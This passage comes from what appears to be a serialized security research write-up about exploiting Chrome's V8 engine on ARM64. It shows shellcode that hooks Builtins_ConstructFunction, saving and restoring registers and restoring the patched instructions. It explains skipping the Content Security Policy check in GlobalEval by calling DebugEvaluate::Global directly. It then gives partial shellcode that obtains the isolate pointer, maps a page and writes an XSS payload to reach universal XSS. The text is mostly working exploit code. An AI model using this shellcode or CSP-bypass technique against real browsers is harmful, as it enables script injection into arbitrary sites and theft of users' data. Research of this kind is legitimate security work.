#-16]!\n",{"type":24,"tag":83,"props":139682,"children":139683},{"class":85,"line":203},[139684],{"type":24,"tag":83,"props":139685,"children":139686},{},[139687],{"type":29,"value":139688},"stp x2,  x3,  [sp, #-16]!\n",{"type":24,"tag":83,"props":139690,"children":139691},{"class":85,"line":212},[139692],{"type":24,"tag":83,"props":139693,"children":139694},{},[139695],{"type":29,"value":139696},"stp x4,  x5,  [sp, #-16]!\n",{"type":24,"tag":83,"props":139698,"children":139699},{"class":85,"line":256},[139700],{"type":24,"tag":83,"props":139701,"children":139702},{},[139703],{"type":29,"value":139704},"stp x6,  x7,  [sp, #-16]!\n",{"type":24,"tag":83,"props":139706,"children":139707},{"class":85,"line":270},[139708],{"type":24,"tag":83,"props":139709,"children":139710},{},[139711],{"type":29,"value":139712},"stp x8,  x9,  [sp, #-16]!\n",{"type":24,"tag":83,"props":139714,"children":139715},{"class":85,"line":302},[139716],{"type":24,"tag":83,"props":139717,"children":139718},{},[139719],{"type":29,"value":139720},"stp x10, x11, [sp, #-16]!\n",{"type":24,"tag":83,"props":139722,"children":139723},{"class":85,"line":324},[139724],{"type":24,"tag":83,"props":139725,"children":139726},{},[139727],{"type":29,"value":139728},"stp x12, x13, [sp, #-16]!\n",{"type":24,"tag":83,"props":139730,"children":139731},{"class":85,"line":345},[139732],{"type":24,"tag":83,"props":139733,"children":139734},{},[139735],{"type":29,"value":139736},"stp x14, x15, [sp, #-16]!\n",{"type":24,"tag":83,"props":139738,"children":139739},{"class":85,"line":358},[139740],{"type":24,"tag":83,"props":139741,"children":139742},{},[139743],{"type":29,"value":139744},"stp x16, x17, [sp, #-16]!\n",{"type":24,"tag":83,"props":139746,"children":139747},{"class":85,"line":367},[139748],{"type":24,"tag":83,"props":139749,"children":139750},{},[139751],{"type":29,"value":139752},"stp x18, x19, [sp, #-16]!\n",{"type":24,"tag":83,"props":139754,"children":139755},{"class":85,"line":406},[139756],{"type":24,"tag":83,"props":139757,"children":139758},{},[139759],{"type":29,"value":139760},"stp x20, x21, [sp, #-16]!\n",{"type":24,"tag":83,"props":139762,"children":139763},{"class":85,"line":427},[139764],{"type":24,"tag":83,"props":139765,"children":139766},{},[139767],{"type":29,"value":139768},"stp x22, x23, [sp, #-16]!\n",{"type":24,"tag":83,"props":139770,"children":139771},{"class":85,"line":440},[139772],{"type":24,"tag":83,"props":139773,"children":139774},{},[139775],{"type":29,"value":139776},"stp x24, x25, [sp, #-16]!\n",{"type":24,"tag":83,"props":139778,"children":139779},{"class":85,"line":449},[139780],{"type":24,"tag":83,"props":139781,"children":139782},{},[139783],{"type":29,"value":139784},"stp x26, x27, [sp, #-16]!\n",{"type":24,"tag":83,"props":139786,"children":139787},{"class":85,"line":458},[139788],{"type":24,"tag":83,"props":139789,"children":139790},{},[139791],{"type":29,"value":139792},"stp x28, x29, [sp, #-16]!\n",{"type":24,"tag":83,"props":139794,"children":139795},{"class":85,"line":1065},[139796],{"type":24,"tag":83,"props":139797,"children":139798},{},[139799],{"type":29,"value":139800},"str lr, [sp, #-16]!\n",{"type":24,"tag":25,"props":139802,"children":139803},{},[139804],{"type":29,"value":139805},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":24,"tag":25,"props":139807,"children":139808},{},[139809,139811,139816],{"type":29,"value":139810},"The epilogue restores all saved registers, restores the original instructions in ",{"type":24,"tag":32,"props":139812,"children":139814},{"className":139813},[],[139815],{"type":29,"value":139001},{"type":29,"value":139817},", and then returns execution to its beginning:",{"type":24,"tag":73,"props":139819,"children":139821},{"code":139820,"language":139054,"meta":7,"className":139055,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[139822],{"type":24,"tag":32,"props":139823,"children":139824},{"__ignoreMap":7},[139825,139833,139841,139849,139857,139865,139872,139879,139887,139894,139901,139909,139917,139925,139933,139941,139949,139957,139965,139973,139981,139989,139997,140005,140013,140021,140029,140036,140044,140052,140060,140068,140076,140083,140091,140099,140106],{"type":24,"tag":83,"props":139826,"children":139827},{"class":85,"line":86},[139828],{"type":24,"tag":83,"props":139829,"children":139830},{},[139831],{"type":29,"value":139832},"// restore original instructions of Builtins_ConstructFunction\n",{"type":24,"tag":83,"props":139834,"children":139835},{"class":85,"line":113},[139836],{"type":24,"tag":83,"props":139837,"children":139838},{},[139839],{"type":29,"value":139840},"ldr lr, [sp], #16\n",{"type":24,"tag":83,"props":139842,"children":139843},{"class":85,"line":128},[139844],{"type":24,"tag":83,"props":139845,"children":139846},{},[139847],{"type":29,"value":139848},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":24,"tag":83,"props":139850,"children":139851},{"class":85,"line":183},[139852],{"type":24,"tag":83,"props":139853,"children":139854},{},[139855],{"type":29,"value":139856},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":24,"tag":83,"props":139858,"children":139859},{"class":85,"line":203},[139860],{"type":24,"tag":83,"props":139861,"children":139862},{},[139863],{"type":29,"value":139864},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":24,"tag":83,"props":139866,"children":139867},{"class":85,"line":212},[139868],{"type":24,"tag":83,"props":139869,"children":139870},{"emptyLinePlaceholder":16},[139871],{"type":29,"value":3422},{"type":24,"tag":83,"props":139873,"children":139874},{"class":85,"line":256},[139875],{"type":24,"tag":83,"props":139876,"children":139877},{},[139878],{"type":29,"value":139407},{"type":24,"tag":83,"props":139880,"children":139881},{"class":85,"line":270},[139882],{"type":24,"tag":83,"props":139883,"children":139884},{},[139885],{"type":29,"value":139886},"mov x0, lr\n",{"type":24,"tag":83,"props":139888,"children":139889},{"class":85,"line":302},[139890],{"type":24,"tag":83,"props":139891,"children":139892},{},[139893],{"type":29,"value":139423},{"type":24,"tag":83,"props":139895,"children":139896},{"class":85,"line":324},[139897],{"type":24,"tag":83,"props":139898,"children":139899},{"emptyLinePlaceholder":16},[139900],{"type":29,"value":3422},{"type":24,"tag":83,"props":139902,"children":139903},{"class":85,"line":345},[139904],{"type":24,"tag":83,"props":139905,"children":139906},{},[139907],{"type":29,"value":139908},"// restore original registers\n",{"type":24,"tag":83,"props":139910,"children":139911},{"class":85,"line":358},[139912],{"type":24,"tag":83,"props":139913,"children":139914},{},[139915],{"type":29,"value":139916},"ldp x28, x29, [sp], #16\n",{"type":24,"tag":83,"props":139918,"children":139919},{"class":85,"line":367},[139920],{"type":24,"tag":83,"props":139921,"children":139922},{},[139923],{"type":29,"value":139924},"ldp x26, x27, [sp], #16\n",{"type":24,"tag":83,"props":139926,"children":139927},{"class":85,"line":406},[139928],{"type":24,"tag":83,"props":139929,"children":139930},{},[139931],{"type":29,"value":139932},"ldp x24, x25, [sp], #16\n",{"type":24,"tag":83,"props":139934,"children":139935},{"class":85,"line":427},[139936],{"type":24,"tag":83,"props":139937,"children":139938},{},[139939],{"type":29,"value":139940},"ldp x22, x23, [sp], #16\n",{"type":24,"tag":83,"props":139942,"children":139943},{"class":85,"line":440},[139944],{"type":24,"tag":83,"props":139945,"children":139946},{},[139947],{"type":29,"value":139948},"ldp x20, x21, [sp], #16\n",{"type":24,"tag":83,"props":139950,"children":139951},{"class":85,"line":449},[139952],{"type":24,"tag":83,"props":139953,"children":139954},{},[139955],{"type":29,"value":139956},"ldp x18, x19, [sp], #16\n",{"type":24,"tag":83,"props":139958,"children":139959},{"class":85,"line":458},[139960],{"type":24,"tag":83,"props":139961,"children":139962},{},[139963],{"type":29,"value":139964},"ldp x16, x17, [sp], #16\n",{"type":24,"tag":83,"props":139966,"children":139967},{"class":85,"line":1065},[139968],{"type":24,"tag":83,"props":139969,"children":139970},{},[139971],{"type":29,"value":139972},"ldp x14, x15, [sp], #16\n",{"type":24,"tag":83,"props":139974,"children":139975},{"class":85,"line":1668},[139976],{"type":24,"tag":83,"props":139977,"children":139978},{},[139979],{"type":29,"value":139980},"ldp x12, x13, [sp], #16\n",{"type":24,"tag":83,"props":139982,"children":139983},{"class":85,"line":1713},[139984],{"type":24,"tag":83,"props":139985,"children":139986},{},[139987],{"type":29,"value":139988},"ldp x10, x11, [sp], #16\n",{"type":24,"tag":83,"props":139990,"children":139991},{"class":85,"line":1730},[139992],{"type":24,"tag":83,"props":139993,"children":139994},{},[139995],{"type":29,"value":139996},"ldp x8,  x9,  [sp], #16\n",{"type":24,"tag":83,"props":139998,"children":139999},{"class":85,"line":1770},[140000],{"type":24,"tag":83,"props":140001,"children":140002},{},[140003],{"type":29,"value":140004},"ldp x6,  x7,  [sp], #16\n",{"type":24,"tag":83,"props":140006,"children":140007},{"class":85,"line":1778},[140008],{"type":24,"tag":83,"props":140009,"children":140010},{},[140011],{"type":29,"value":140012},"ldp x4,  x5,  [sp], #16\n",{"type":24,"tag":83,"props":140014,"children":140015},{"class":85,"line":1803},[140016],{"type":24,"tag":83,"props":140017,"children":140018},{},[140019],{"type":29,"value":140020},"ldp x2,  x3,  [sp], #16\n",{"type":24,"tag":83,"props":140022,"children":140023},{"class":85,"line":1811},[140024],{"type":24,"tag":83,"props":140025,"children":140026},{},[140027],{"type":29,"value":140028},"ldp x0,  x1,  [sp], #16\n",{"type":24,"tag":83,"props":140030,"children":140031},{"class":85,"line":8792},[140032],{"type":24,"tag":83,"props":140033,"children":140034},{"emptyLinePlaceholder":16},[140035],{"type":29,"value":3422},{"type":24,"tag":83,"props":140037,"children":140038},{"class":85,"line":8810},[140039],{"type":24,"tag":83,"props":140040,"children":140041},{},[140042],{"type":29,"value":140043},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":24,"tag":83,"props":140045,"children":140046},{"class":85,"line":8855},[140047],{"type":24,"tag":83,"props":140048,"children":140049},{},[140050],{"type":29,"value":140051},"// it immediately, so we can clobber and use it as a return register.\n",{"type":24,"tag":83,"props":140053,"children":140054},{"class":85,"line":8961},[140055],{"type":24,"tag":83,"props":140056,"children":140057},{},[140058],{"type":29,"value":140059},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":24,"tag":83,"props":140061,"children":140062},{"class":85,"line":23248},[140063],{"type":24,"tag":83,"props":140064,"children":140065},{},[140066],{"type":29,"value":140067},"// where to return\n",{"type":24,"tag":83,"props":140069,"children":140070},{"class":85,"line":23283},[140071],{"type":24,"tag":83,"props":140072,"children":140073},{},[140074],{"type":29,"value":140075},"mov x4, lr\n",{"type":24,"tag":83,"props":140077,"children":140078},{"class":85,"line":23291},[140079],{"type":24,"tag":83,"props":140080,"children":140081},{"emptyLinePlaceholder":16},[140082],{"type":29,"value":3422},{"type":24,"tag":83,"props":140084,"children":140085},{"class":85,"line":23299},[140086],{"type":24,"tag":83,"props":140087,"children":140088},{},[140089],{"type":29,"value":140090},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":24,"tag":83,"props":140092,"children":140093},{"class":85,"line":23308},[140094],{"type":24,"tag":83,"props":140095,"children":140096},{},[140097],{"type":29,"value":140098},"ldp x15, lr, [sp], #16\n",{"type":24,"tag":83,"props":140100,"children":140101},{"class":85,"line":23350},[140102],{"type":24,"tag":83,"props":140103,"children":140104},{"emptyLinePlaceholder":16},[140105],{"type":29,"value":3422},{"type":24,"tag":83,"props":140107,"children":140108},{"class":85,"line":23383},[140109],{"type":24,"tag":83,"props":140110,"children":140111},{},[140112],{"type":29,"value":140113},"ret x4\n",{"type":24,"tag":25,"props":140115,"children":140116},{},[140117,140119,140124,140126,140131,140133,140139],{"type":29,"value":140118},"At this point, we have successfully hooked ",{"type":24,"tag":32,"props":140120,"children":140122},{"className":140121},[],[140123],{"type":29,"value":139001},{"type":29,"value":140125}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":24,"tag":32,"props":140127,"children":140129},{"className":140128},[],[140130],{"type":29,"value":139517},{"type":29,"value":140132}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":24,"tag":32,"props":140134,"children":140136},{"className":140135},[],[140137],{"type":29,"value":140138},"Builtins_GlobalEval",{"type":29,"value":161},{"type":24,"tag":25,"props":140141,"children":140142},{},[140143,140148,140150,140155,140157,140162],{"type":24,"tag":32,"props":140144,"children":140146},{"className":140145},[],[140147],{"type":29,"value":140138},{"type":29,"value":140149}," takes a single ",{"type":24,"tag":32,"props":140151,"children":140153},{"className":140152},[],[140154],{"type":29,"value":47645},{"type":29,"value":140156}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":24,"tag":32,"props":140158,"children":140160},{"className":140159},[],[140161],{"type":29,"value":37271},{"type":29,"value":195},{"type":24,"tag":73,"props":140164,"children":140166},{"code":140165,"language":28863,"meta":7,"className":28861,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[140167],{"type":24,"tag":32,"props":140168,"children":140169},{"__ignoreMap":7},[140170,140183,140190,140197,140240,140262,140288],{"type":24,"tag":83,"props":140171,"children":140172},{"class":85,"line":86},[140173,140178],{"type":24,"tag":83,"props":140174,"children":140175},{"style":101},[140176],{"type":29,"value":140177},"BUILTIN",{"type":24,"tag":83,"props":140179,"children":140180},{"style":107},[140181],{"type":29,"value":140182},"(GlobalEval) {\n",{"type":24,"tag":83,"props":140184,"children":140185},{"class":85,"line":113},[140186],{"type":24,"tag":83,"props":140187,"children":140188},{"style":107},[140189],{"type":29,"value":126686},{"type":24,"tag":83,"props":140191,"children":140192},{"class":85,"line":128},[140193],{"type":24,"tag":83,"props":140194,"children":140195},{"emptyLinePlaceholder":16},[140196],{"type":29,"value":3422},{"type":24,"tag":83,"props":140198,"children":140199},{"class":85,"line":183},[140200,140205,140210,140214,140219,140223,140227,140231,140236],{"type":24,"tag":83,"props":140201,"children":140202},{"style":107},[140203],{"type":29,"value":140204},"  if (!Builtins::",{"type":24,"tag":83,"props":140206,"children":140207},{"style":3163},[140208],{"type":29,"value":140209},"AllowDynamicFunction",{"type":24,"tag":83,"props":140211,"children":140212},{"style":107},[140213],{"type":29,"value":558},{"type":24,"tag":83,"props":140215,"children":140216},{"style":3163},[140217],{"type":29,"value":140218},"isolate",{"type":24,"tag":83,"props":140220,"children":140221},{"style":107},[140222],{"type":29,"value":568},{"type":24,"tag":83,"props":140224,"children":140225},{"style":3163},[140226],{"type":29,"value":114611},{"type":24,"tag":83,"props":140228,"children":140229},{"style":107},[140230],{"type":29,"value":568},{"type":24,"tag":83,"props":140232,"children":140233},{"style":3163},[140234],{"type":29,"value":140235},"target_global_proxy",{"type":24,"tag":83,"props":140237,"children":140238},{"style":107},[140239],{"type":29,"value":704},{"type":24,"tag":83,"props":140241,"children":140242},{"class":85,"line":203},[140243,140248,140252,140257],{"type":24,"tag":83,"props":140244,"children":140245},{"style":137},[140246],{"type":29,"value":140247},"    isolate",{"type":24,"tag":83,"props":140249,"children":140250},{"style":107},[140251],{"type":29,"value":13502},{"type":24,"tag":83,"props":140253,"children":140254},{"style":101},[140255],{"type":29,"value":140256},"CountUsage",{"type":24,"tag":83,"props":140258,"children":140259},{"style":107},[140260],{"type":29,"value":140261},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":24,"tag":83,"props":140263,"children":140264},{"class":85,"line":212},[140265,140269,140274,140279,140284],{"type":24,"tag":83,"props":140266,"children":140267},{"style":117},[140268],{"type":29,"value":16725},{"type":24,"tag":83,"props":140270,"children":140271},{"style":101},[140272],{"type":29,"value":140273}," ReadOnlyRoots",{"type":24,"tag":83,"props":140275,"children":140276},{"style":107},[140277],{"type":29,"value":140278},"(isolate).",{"type":24,"tag":83,"props":140280,"children":140281},{"style":101},[140282],{"type":29,"value":140283},"undefined_value",{"type":24,"tag":83,"props":140285,"children":140286},{"style":107},[140287],{"type":29,"value":267},{"type":24,"tag":83,"props":140289,"children":140290},{"class":85,"line":256},[140291],{"type":24,"tag":83,"props":140292,"children":140293},{"style":107},[140294],{"type":29,"value":455},{"type":24,"tag":25,"props":140296,"children":140297},{},[140298,140300,140305],{"type":29,"value":140299},"This means we would need to patch the function further to ensure it never enters this ",{"type":24,"tag":32,"props":140301,"children":140303},{"className":140302},[],[140304],{"type":29,"value":1094},{"type":29,"value":140306}," block.",{"type":24,"tag":25,"props":140308,"children":140309},{},[140310],{"type":29,"value":140311},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":24,"tag":73,"props":140313,"children":140315},{"code":140314,"language":28863,"meta":7,"className":28861,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[140316],{"type":24,"tag":32,"props":140317,"children":140318},{"__ignoreMap":7},[140319,140330,140337,140344,140351,140359,140371,140379,140396,140426,140434,140446],{"type":24,"tag":83,"props":140320,"children":140321},{"class":85,"line":86},[140322,140326],{"type":24,"tag":83,"props":140323,"children":140324},{"style":101},[140325],{"type":29,"value":140177},{"type":24,"tag":83,"props":140327,"children":140328},{"style":107},[140329],{"type":29,"value":140182},{"type":24,"tag":83,"props":140331,"children":140332},{"class":85,"line":113},[140333],{"type":24,"tag":83,"props":140334,"children":140335},{"emptyLinePlaceholder":16},[140336],{"type":29,"value":3422},{"type":24,"tag":83,"props":140338,"children":140339},{"class":85,"line":128},[140340],{"type":24,"tag":83,"props":140341,"children":140342},{"style":107},[140343],{"type":29,"value":126686},{"type":24,"tag":83,"props":140345,"children":140346},{"class":85,"line":183},[140347],{"type":24,"tag":83,"props":140348,"children":140349},{"emptyLinePlaceholder":16},[140350],{"type":29,"value":3422},{"type":24,"tag":83,"props":140352,"children":140353},{"class":85,"line":203},[140354],{"type":24,"tag":83,"props":140355,"children":140356},{"style":107},[140357],{"type":29,"value":140358},"  DirectHandle\u003CJSFunction> function;\n",{"type":24,"tag":83,"props":140360,"children":140361},{"class":85,"line":212},[140362,140367],{"type":24,"tag":83,"props":140363,"children":140364},{"style":101},[140365],{"type":29,"value":140366},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":24,"tag":83,"props":140368,"children":140369},{"style":107},[140370],{"type":29,"value":3208},{"type":24,"tag":83,"props":140372,"children":140373},{"class":85,"line":256},[140374],{"type":24,"tag":83,"props":140375,"children":140376},{"style":107},[140377],{"type":29,"value":140378},"      isolate, function,\n",{"type":24,"tag":83,"props":140380,"children":140381},{"class":85,"line":270},[140382,140387,140392],{"type":24,"tag":83,"props":140383,"children":140384},{"style":107},[140385],{"type":29,"value":140386},"      Compiler::",{"type":24,"tag":83,"props":140388,"children":140389},{"style":101},[140390],{"type":29,"value":140391},"GetFunctionFromValidatedString",{"type":24,"tag":83,"props":140393,"children":140394},{"style":107},[140395],{"type":29,"value":3208},{"type":24,"tag":83,"props":140397,"children":140398},{"class":85,"line":302},[140399,140404,140408,140412,140416,140421],{"type":24,"tag":83,"props":140400,"children":140401},{"style":101},[140402],{"type":29,"value":140403},"          direct_handle",{"type":24,"tag":83,"props":140405,"children":140406},{"style":107},[140407],{"type":29,"value":558},{"type":24,"tag":83,"props":140409,"children":140410},{"style":137},[140411],{"type":29,"value":114611},{"type":24,"tag":83,"props":140413,"children":140414},{"style":107},[140415],{"type":29,"value":13502},{"type":24,"tag":83,"props":140417,"children":140418},{"style":101},[140419],{"type":29,"value":140420},"native_context",{"type":24,"tag":83,"props":140422,"children":140423},{"style":107},[140424],{"type":29,"value":140425},"(), isolate), source,\n",{"type":24,"tag":83,"props":140427,"children":140428},{"class":85,"line":324},[140429],{"type":24,"tag":83,"props":140430,"children":140431},{"style":107},[140432],{"type":29,"value":140433},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":24,"tag":83,"props":140435,"children":140436},{"class":85,"line":345},[140437,140442],{"type":24,"tag":83,"props":140438,"children":140439},{"style":101},[140440],{"type":29,"value":140441},"  RETURN_RESULT_OR_FAILURE",{"type":24,"tag":83,"props":140443,"children":140444},{"style":107},[140445],{"type":29,"value":3208},{"type":24,"tag":83,"props":140447,"children":140448},{"class":85,"line":358},[140449,140454,140459],{"type":24,"tag":83,"props":140450,"children":140451},{"style":107},[140452],{"type":29,"value":140453},"      isolate, Execution::",{"type":24,"tag":83,"props":140455,"children":140456},{"style":101},[140457],{"type":29,"value":140458},"Call",{"type":24,"tag":83,"props":140460,"children":140461},{"style":107},[140462],{"type":29,"value":140463},"(isolate, function, target_global_proxy, {}));\n",{"type":24,"tag":25,"props":140465,"children":140466},{},[140467,140469,140474,140476,140482,140484,140490,140492,140498],{"type":29,"value":140468},"But determining the correct ",{"type":24,"tag":32,"props":140470,"children":140472},{"className":140471},[],[140473],{"type":29,"value":114611},{"type":29,"value":140475}," value, obtaining ",{"type":24,"tag":32,"props":140477,"children":140479},{"className":140478},[],[140480],{"type":29,"value":140481},"target->native_context()",{"type":29,"value":140483},", and locating the ",{"type":24,"tag":32,"props":140485,"children":140487},{"className":140486},[],[140488],{"type":29,"value":140489},"direct_handle",{"type":29,"value":140491}," function, just to make a proper call to ",{"type":24,"tag":32,"props":140493,"children":140495},{"className":140494},[],[140496],{"type":29,"value":140497},"Compiler::GetFunctionFromValidatedString",{"type":29,"value":140499},", seemed unnecessarily cumbersome.",{"type":24,"tag":25,"props":140501,"children":140502},{},[140503,140505,140511],{"type":29,"value":140504},"Instead, we found a much simpler option with no security checks: ",{"type":24,"tag":32,"props":140506,"children":140508},{"className":140507},[],[140509],{"type":29,"value":140510},"DebugEvaluate::Global",{"type":29,"value":140512},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":24,"tag":25,"props":140514,"children":140515},{},[140516],{"type":29,"value":140517},"For our needs, it is straightforward to call:",{"type":24,"tag":73,"props":140519,"children":140521},{"code":140520,"language":28863,"meta":7,"className":28861,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[140522],{"type":24,"tag":32,"props":140523,"children":140524},{"__ignoreMap":7},[140525,140573,140602,140623],{"type":24,"tag":83,"props":140526,"children":140527},{"class":85,"line":86},[140528,140533,140537,140541,140546,140551,140555,140560,140564,140569],{"type":24,"tag":83,"props":140529,"children":140530},{"style":3163},[140531],{"type":29,"value":140532},"MaybeDirectHandle",{"type":24,"tag":83,"props":140534,"children":140535},{"style":107},[140536],{"type":29,"value":5552},{"type":24,"tag":83,"props":140538,"children":140539},{"style":3163},[140540],{"type":29,"value":48569},{"type":24,"tag":83,"props":140542,"children":140543},{"style":107},[140544],{"type":29,"value":140545},"> DebugEvaluate::",{"type":24,"tag":83,"props":140547,"children":140548},{"style":101},[140549],{"type":29,"value":140550},"Global",{"type":24,"tag":83,"props":140552,"children":140553},{"style":107},[140554],{"type":29,"value":558},{"type":24,"tag":83,"props":140556,"children":140557},{"style":3163},[140558],{"type":29,"value":140559},"Isolate",{"type":24,"tag":83,"props":140561,"children":140562},{"style":90},[140563],{"type":29,"value":4315},{"type":24,"tag":83,"props":140565,"children":140566},{"style":137},[140567],{"type":29,"value":140568}," isolate",{"type":24,"tag":83,"props":140570,"children":140571},{"style":107},[140572],{"type":29,"value":989},{"type":24,"tag":83,"props":140574,"children":140575},{"class":85,"line":113},[140576,140581,140585,140589,140593,140598],{"type":24,"tag":83,"props":140577,"children":140578},{"style":3163},[140579],{"type":29,"value":140580},"                                                Handle",{"type":24,"tag":83,"props":140582,"children":140583},{"style":107},[140584],{"type":29,"value":5552},{"type":24,"tag":83,"props":140586,"children":140587},{"style":3163},[140588],{"type":29,"value":47645},{"type":24,"tag":83,"props":140590,"children":140591},{"style":107},[140592],{"type":29,"value":5567},{"type":24,"tag":83,"props":140594,"children":140595},{"style":137},[140596],{"type":29,"value":140597},"source",{"type":24,"tag":83,"props":140599,"children":140600},{"style":107},[140601],{"type":29,"value":989},{"type":24,"tag":83,"props":140603,"children":140604},{"class":85,"line":128},[140605,140610,140615,140619],{"type":24,"tag":83,"props":140606,"children":140607},{"style":107},[140608],{"type":29,"value":140609},"                                                debug::",{"type":24,"tag":83,"props":140611,"children":140612},{"style":3163},[140613],{"type":29,"value":140614},"EvaluateGlobalMode",{"type":24,"tag":83,"props":140616,"children":140617},{"style":137},[140618],{"type":29,"value":105807},{"type":24,"tag":83,"props":140620,"children":140621},{"style":107},[140622],{"type":29,"value":989},{"type":24,"tag":83,"props":140624,"children":140625},{"class":85,"line":183},[140626,140631,140636],{"type":24,"tag":83,"props":140627,"children":140628},{"style":3163},[140629],{"type":29,"value":140630},"                                                REPLMode",{"type":24,"tag":83,"props":140632,"children":140633},{"style":137},[140634],{"type":29,"value":140635}," repl_mode",{"type":24,"tag":83,"props":140637,"children":140638},{"style":107},[140639],{"type":29,"value":581},{"type":24,"tag":25,"props":140641,"children":140642},{},[140643,140645,140650,140652,140657,140659,140664,140666,140672,140673,140679],{"type":29,"value":140644},"We must supply the ",{"type":24,"tag":32,"props":140646,"children":140648},{"className":140647},[],[140649],{"type":29,"value":140218},{"type":29,"value":140651}," pointer, a ",{"type":24,"tag":32,"props":140653,"children":140655},{"className":140654},[],[140656],{"type":29,"value":47645},{"type":29,"value":140658}," object containing our XSS payload as ",{"type":24,"tag":32,"props":140660,"children":140662},{"className":140661},[],[140663],{"type":29,"value":140597},{"type":29,"value":140665},", and the ",{"type":24,"tag":32,"props":140667,"children":140669},{"className":140668},[],[140670],{"type":29,"value":140671},"mode",{"type":29,"value":2287},{"type":24,"tag":32,"props":140674,"children":140676},{"className":140675},[],[140677],{"type":29,"value":140678},"repl_mode",{"type":29,"value":140680}," values, which are simple enum literals.",{"type":24,"tag":25,"props":140682,"children":140683},{},[140684,140686,140691,140693,140699,140701,140706,140708,140713,140715,140721,140723,140729,140731,140736,140738,140743,140745,140750,140752,140757],{"type":29,"value":140685},"To obtain the ",{"type":24,"tag":32,"props":140687,"children":140689},{"className":140688},[],[140690],{"type":29,"value":140218},{"type":29,"value":140692}," pointer within our shellcode, we call ",{"type":24,"tag":32,"props":140694,"children":140696},{"className":140695},[],[140697],{"type":29,"value":140698},"Isolate::TryGetCurrent()",{"type":29,"value":140700},", which returns the current ",{"type":24,"tag":32,"props":140702,"children":140704},{"className":140703},[],[140705],{"type":29,"value":140218},{"type":29,"value":140707},". To construct a valid ",{"type":24,"tag":32,"props":140709,"children":140711},{"className":140710},[],[140712],{"type":29,"value":47645},{"type":29,"value":140714}," object holding our payload, we call ",{"type":24,"tag":32,"props":140716,"children":140718},{"className":140717},[],[140719],{"type":29,"value":140720},"v8::String::NewFromUTF8",{"type":29,"value":140722},". This ",{"type":24,"tag":32,"props":140724,"children":140726},{"className":140725},[],[140727],{"type":29,"value":140728},"NewFromUTF8",{"type":29,"value":140730}," function takes four arguments: the ",{"type":24,"tag":32,"props":140732,"children":140734},{"className":140733},[],[140735],{"type":29,"value":140218},{"type":29,"value":140737},", the string bytes as ",{"type":24,"tag":32,"props":140739,"children":140741},{"className":140740},[],[140742],{"type":29,"value":839},{"type":29,"value":140744},", an enum literal specifying the string type, and ",{"type":24,"tag":32,"props":140746,"children":140748},{"className":140747},[],[140749],{"type":29,"value":237},{"type":29,"value":140751},", which is the size of the ",{"type":24,"tag":32,"props":140753,"children":140755},{"className":140754},[],[140756],{"type":29,"value":839},{"type":29,"value":16900},{"type":24,"tag":25,"props":140759,"children":140760},{},[140761],{"type":29,"value":140762},"The resulting shellcode that executes our XSS payload looks like this:",{"type":24,"tag":73,"props":140764,"children":140766},{"code":140765,"language":139054,"meta":7,"className":139055,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = 